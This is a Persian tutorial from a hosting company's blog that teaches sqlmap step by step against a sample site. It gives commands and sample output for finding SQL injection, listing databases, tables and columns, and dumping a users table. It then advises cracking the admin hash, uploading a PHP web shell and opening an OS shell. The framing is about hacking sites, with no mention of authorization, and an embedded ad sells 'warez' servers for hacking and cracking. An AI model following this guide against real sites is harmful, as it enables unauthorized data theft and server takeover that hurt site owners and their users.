SQLmap چیست و آموزش استفاده از SQLmap - وان سرور آکـادمی
SQLmap چیست و آموزش استفاده از SQLmap
SQLmap چیست و آموزش استفاده از SQLmap

SQLmap چیست و آموزش استفاده از SQLmap

زمان تقریبی مطالعه: 7 دقیقه

SQLmap چیست؟

Sqlmap یکی از مشهورترین و قوی ترین ابزار خودکار sql injection ای هست که در بحث امنیت وجود دارد . با وجود یک آدرس اینترنتی آلوده sqlmap میتواند از پایگاه داده آن به طرق مختلف بهره برداری و سوء استفاده کند و بسیاری از هکینگ های مختلف نظیر خارج کردن نام ها و جداول و ستون ها و همچنین تمامی اطلاعات درون جداول را انجام دهد! در این آموزش آموزش استفاده از sqlmap برای بهره برداری از نرم افزار های تحت وب آسیب پذیر و همچنین تمامی کار هایی که با این نرم افزار میتوان انجام داد را بررسی میکنیم .

این بزار حتی میتواند در شرایطی خاص فایل ها را به صورت ریموت و یا از راه دور  بخواند و بنویسد همچنین توسط زبان برنامه نویسی پایتون نوشته شده است . این ابزار یکی از قویترین ابزار هکینگ موجود است . sqlmap قابل استفاده برای sql injection است .

Sqlmap در ابزار های تست نسخه هایی از لینوکس مانند کالی لینوکس و بک ترک و بک باکس و… گنجانده شده است . در نسخه های دیگر میتوان به سادگی از لینک زیر آن را نصب کرد

http://sqlmap.org/

از آنجا که این برنامه با پایتون نوشته شده است . ابتدا ما باید بر روی سیستم مان پایتون را نصب کنیم .

برای درک بهتر این این آموزش ما باید دانش نسبی ای درباره چگونگی پایگاه های داده ای که با نرم افزار های تحت وب کار می کنند داشته باشیم . برای مثال آنهایی که با php و mysql ساخته شده اند.

آدرس های آسیب پذیر :

خب فرض کنیم که یک نرم افزار تحت وب یا وبسایت آدرس اینترنتی ای مانند آدرس زیر دارد :

http://www.site.com/section.php?id=51

و این آدرس مستعد sql injection است زیرا برنامه نویس این سایت به درستی از پارامتر id استفاده نکرده است. این کار را می توان با تلاش برای باز کردن آدرس اینترنتی به راحتی آزمایش کرد.

‘http://www.site.com/section.php?id=51

ما فقط یک نقل قول (‘) را به پارامتر اضافه کردیم . اگر این آدرس به شیوه ای غیره منتظره واکنشی نشان دهد سپس واضح است که این واکنش غیر منتظره به نقل قول به معنی آن است که به راحتی نمیتواند عبور کند . بنابراین در این نمونه پارامتر id در برابر sql injection آسیب پذیر است .

آموزش استفاده از sqlmap

الان زمان این رسیده است که برای هک کردن چنین آدرس هایی به سراغ sqlmap برویم . sqlmap توسط ترمینال همراه با مترجم پایتون اجرا میشود .

1-اسکن کردن سیستم به صورت ریموت

اولین دستوری که سیستم را به صورت ریموت از لحاظ آسیب پذیری sql injection بررسی کرده و در باره آن اطلاعاتی جمع آوری میکند، دستو زیر است:

$ python sqlmap.py -u "http://www.site.com/section.php?id=51"

در بالا اولین و مهمترین دستور برای اجرا در برنامه sqlmap ذکر شده است. این دستور پارامتر های درونی را برای این که به sql injection آسیب پذیر هستند یا نه چک میکند . برای این sqlmap  انواع مختلفی از نمونه های پیلود های sql injection را به پارامتر ورودی ارسال کرده و در نهایت خروجی را بررسی میکند .

در این فرایند sqlmap همچنین قادر است تا به صورت ریموت سیستم عامل سیستم، نام دیتابیس و نسخه آن را شناسایی کند . در اینجا نمونه ای از خروجی فرضی را می توان مشاهده نمود .

[*] starting at 12:10:33
[12:10:33] [INFO] resuming back-end DBMS 'mysql'
[12:10:34] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
---
[12:10:37] [INFO] the back-end DBMS is MySQL
web server operating system: FreeBSD
web application technology: Apache 2.2.22
back-end DBMS: MySQL 5

خب ابزار sqlmap سیستم عامل، وب سرور و دیتابیس را به همراه نسخه آن کشف کرده است. هرچند این مسئله هم خیلی چشمگیر و موثر است اما زمان این است که شروع کنیم تا توانایی های بیشتر این ابزار را ببینیم .

آیا میدانستید که استفاده از سرور مجازی و سرور اختصاصی برای هک و تست نفوذ در اکثر دیتاسنتر ها غیر مجاز است و باعث مسدود شدن سرور می شود؟

اما راه حل این مشکل چیست؟ شما برای انجام عملیات تست نفوذ، هک ، کرک و … نیازمند سرور مجازی یا اختصاصی وارز هستید.

وان سرور با ارائه سرور مجازی وارز و سرور اختصاصی وارز با بهترین کیفیت و گارانتی 100% بازگشت وجه این مشکل را برای شما حل کرده است.

2- کشف کردن پایگاه های داده :

زمانی که sqlmap تایید کرد که آدرس اینترنتی در برابر sql injection آسیب پذیر است، قدم بعدی پیدا کردن نام های دیتابیس (پایگاه داده) از طریق ریموت سیستم قابل استفاده است .  گزینه  “—dbs” برای به دست آوردن لیست پایگاه داده استفاده می شود .

$ python sqlmap.py -u "http://www.sitemap.com/section.php?id=51" --dbs

خروجی می تواند یه چیزی شبیه به مثال زیر باشد :

[*] starting at 12:12:56
[12:12:56] [INFO] resuming back-end DBMS 'mysql'
[12:12:57] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
---
[12:13:00] [INFO] the back-end DBMS is MySQL
web server operating system: FreeBSD
web application technology: Apache 2.2.22
back-end DBMS: MySQL 5
[12:13:00] [INFO] fetching database names
[12:13:00] [INFO] the SQL query used returns 2 entries
[12:13:00] [INFO] resumed: information_schema
[12:13:00] [INFO] resumed: safecosmetics
available databases [2]:
[*] information_schema
[*] safecosmetics

خروجی نام پایگاه های داده موجود را بر روی ریموت سیستم نشان می دهد .

3- پیدا کردن جداول در پایگاه داده خاص

الان وقت آن رسیده است که جداول موجود در یک دیتابیس خاص راپیدا کنیم . خب ما در نظر میگیریم دیتابیس مورد علاقه ما در اینجا  ‘safecosmetics’ است .

دستور :

$ python sqlmap.py -u "http://www.site.com/section.php?id=51" --tables -D safecosmetics

و خروجی میتواند یه چیزی شبیه به این باشد :

[11:55:18] [INFO] the back-end DBMS is MySQL
web server operating system: FreeBSD
web application technology: Apache 2.2.22
back-end DBMS: MySQL 5
[11:55:18] [INFO] fetching tables for database: 'safecosmetics'
[11:55:19] [INFO] heuristics detected web page charset 'ascii'
[11:55:19] [INFO] the SQL query used returns 216 entries
[11:55:20] [INFO] retrieved: acl_acl
[11:55:21] [INFO] retrieved: acl_acl_sections
........... more tables

حال با هم ستون های یک جدول خاص را پیدا می کنیم :

4-پیدا کردن ستون های خاص یک جدول :

حال که ما لیست جداول را داریم . ایده خوبیست که ستون های بعضی از جداول خاص را به دست بیاوریم . بیایید فرض کنیم جدول “users” است و این شامل نام کاربر و پسورد است .

$ python sqlmap.py -u "http://www.site.com/section.php?id=51" --columns -D safecosmetics -T users

خروجی یه چیزی شبیه به زیر است :

[12:17:39] [INFO] the back-end DBMS is MySQL
web server operating system: FreeBSD
web application technology: Apache 2.2.22
back-end DBMS: MySQL 5
[12:17:39] [INFO] fetching columns for table 'users' in database 'safecosmetics'
[12:17:41] [INFO] heuristics detected web page charset 'ascii'
[12:17:41] [INFO] the SQL query used returns 8 entries
[12:17:42] [INFO] retrieved: id
[12:17:43] [INFO] retrieved: int(11)
[12:17:45] [INFO] retrieved: name
[12:17:46] [INFO] retrieved: text
[12:17:47] [INFO] retrieved: password
[12:17:48] [INFO] retrieved: text
.......
[12:17:59] [INFO] retrieved: hash
[12:18:01] [INFO] retrieved: varchar(128)
Database: safecosmetics
Table: users
[8 columns]
+-------------------+--------------+
| Column            | Type         |
+-------------------+--------------+
| email             | text         |
| hash              | varchar(128) |
| id                | int(11)      |
| name              | text         |
| password          | text         |
| permission        | tinyint(4)   |
| system_allow_only | text         |
| system_home       | text         |
+-------------------+--------------+

خب ستون ها به وضوح قابل رویت هستند .

5- به دست آوردن داده از یک جدول

اکنون به جالب ترین بخش رسیدیم . استخراج داده (اطلاعات) از جدول . دستور مطابق زیر است :

$ python sqlmap.py -u "http://www.site.com/section.php?id=51" --dump -D safecosmetics -T users

دستور بالا به سادگی داده (دیتا) را از جدول خاص بیرون میکشد خیلی شبیه به دستور mysqldump است .

خروجی چیزی شبیه به زیر است :

+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+
| id | hash               | name      | email     | password | permission | system_home | system_allow_only |
+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+
| 1  | 5DIpzzDHFOwnCvPonu | admin     | <blank>   | <blank>  | 3          | <blank>     | <blank>           |
+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+

به نظر میرسد که ستون hash حاوی پسورد به صورت رمز نگاری است . سعی کنید تا هش را کرک کرده و سپس مسقیما ورود پیدا کنید . sqlmap یک فایل با پسوند csv از دیتای خروجی می سازد تا به راحتی مورد بررسی قرار بگیرد .

خب تا اینجا ما به کمک sqlmap توانستیم اطلاعات زیادی را به صورت ریموت از دیتابیس یا پایگاه داده جمع آوری کنیم . مانند این است که کاربر دسترسی مستقیم به دیتابیس از طریق phpmyadmin داشته باشد. در سناریوی واقعی هکر باید تلاش بیشتری کند تا دسترسی بالاتری به سیستم داشته باشد . برای این آنها باید تلاش کنند تا پسورد رمزنگاری شده را دکیریپت یا رمزشکنی کنند و تلاش کنند تا به پنل ادمین یا مدیر لاگین (ورود) کنند . یا آنها سعی کنند با استفاده از sqlmap  به سیستم عامل دسترسی پیدا کنند .

قدم بعدی چیست ؟

هنگامی که ما قادر هستیم اسکن کرده یا از سیستم آسیب پذیر اطلاعات جمع آوری کنیم زمان آن فرا رسیده است که از آن بهره برداری کنیم و ببینیم که امکان آن وجود دارد که به آن سیستم دسترسی داشته باشیم . sqlmap قادر است که کار های کوچکی مانند اجرای کوئری های sql را بر روی ریموت سیستم انجام داده یا بر روی سیستم یک ریموت شل راه اندازی کند .

اجرای کوئری های sql به صورت دلخواه :

احتمالا ساده ترین کاری که میتوان بر روی سرور انجام داد این است که حمله از طریق sql injection باشد . پارامتر کوئری (نمایش) –sql  میتواند برای اجرای یک کوئری خاص استفاده شود .

نکته ی شگفت انگیز ماجرا این است که قادر خواهیم بود یک کاربر یا یوزر را در جدول کاربران ایجاد کنیم یا کار هایی از این قبیل یا شاید محتوای صفحه مدریت محتوا (cms) را تغییر بدهیم .

وارد صفحه ی پنل مدیریت شده و شروع کنید :

اگر وبسایت مورد نظر توسط یک سری از cms های خاص یا در کل صفحه ی پنل مدیریت دار اجرایی مشود پس از طریق صفحه ی ارائه شده برای بازیابی پسورد با بازیابی یا کرک پسورد در دیتابیس ممکن است بتوان وارد شد . پسورد های ساده یا کوتاه را میتوان با برت فورس شکست یا از گوگل کمک گرفت .

چک کنید که صفحه ی مدیریت اجازه میدهد تا چند فایل را آپلود کنید. اگر یک فایل php دلخواه را بشود آپلود کرد قضیه خیلی جالب تر خواهد بود . فایل php می تواند یک شل یا سیستم کنترل از راه دوری باشد که بتوان به صورت ریموت دستورات را اجرا کرد . و یا میتوان وب شل هایی رو آپلود کرد تا مستقیما همین کار را انجام داد .

شل های از راه دور :

این کاری است که برای به دست گرفتن کل سیستم میتوان انجام داد . با این حال توجه داشته باشید که مانند کار هایی که بالا نشان داده شد آسان نیست .sqlmap میتواند با با پارامتری که به آن  –os-shel گفته میشود برای به دست گرفتن یک شل در ریموت سیستم استفاده شود . اما این قضیه به طور زیادی با محدودیت همراه است .

با توجه به راهنمای sqlmap :


It is possible to run arbitrary commands on the database server’s underlying operating system when the back-end database management system is either MySQL, PostgreSQL or Microsoft SQL Server, and the session user has the needed privileges to abuse database specific functionalities and architectural weaknesses.

مهمترین امتیاز مورد نیاز در کاربر دیتابیس موجود نوشتن یا برگذاری فایل ها در درون کارکرد های پایگاه داده یا دیتابیس است . که این مورد در اکثر موارد غایب است و در حالت تکنیکی در بیشتر مواقع کار نخواهد کرد .

توجه داشته باشید :

بعضی مواقع sqlmap در کل نمیتواند به آدرس مورد نظر وصل شود .

این مورد زمانی مشاهده می شود که در اولین اتصال گیر کند و پیام ” آزمایش ارتباط اتصال با آدرس هدف” را بدهد . در این موارد استفاده از گزینه ی “—random-agent” کارامد خواهد بود . این باعث می شود که sqlmap با اثر یکی از نماینده کاربر معتبری همچون مرورگر کروم یا فایر فاکس ارسال کند .

  برای آدرس هایی که در پارامتر معتبری نیستند sqlmap نمیداند که Inject را از چه طریقی انجام بدهد . برای مثال آدرس هایی مانند  :

http://www.site.com/class_name/method/43/80

در این موارد نیاز داریم تا با استفده از * اینجکشن را مشخص کنیم

http://www.site.com/class_name/method/43*/80

در بالا به sqlmap میگوییم که نقطه مورد نظر ما با * مشخص شده است .

نتیجه گیری

در این آموزش با sqlmap و برخی استفاده های آن آشنا شدیم. در آموزش بعد نحوه استفاده از sqlmap برای فرم ها را شرح خواهیم داد.

لطفا جهت بهبهود کیفیت آموزش های ارسالی، نظرات خود را از طریق کامنت و درج ستاره ارسال کنید

4.7/5 - (56 امتیاز)